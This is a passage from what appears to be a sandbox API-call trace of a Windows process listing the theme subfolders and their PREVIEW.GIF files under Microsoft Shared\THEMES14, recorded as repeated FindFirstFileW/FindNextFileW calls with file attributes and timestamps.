ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0042.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.545] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.545] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.546] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.546] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.546] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0042.546] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.547] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.547] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.547] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.547] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.547] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0042.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.548] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.549] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.549] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.549] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.549] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0042.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.549] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.550] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.550] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.550] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.550] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0042.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.551] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.551] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.552] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.552] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.552] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0042.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.553] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.553] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.553] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.553] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.553] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0042.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.554] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.554] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.555] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.555] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.555] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0042.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.555] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.555] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.556] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.556] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.556] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0042.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.557] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.557] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.557] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.557] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.557] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0042.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.559] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.559] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0042.559] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0042.559] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0042.559] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0042.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0042.560] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.561] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, 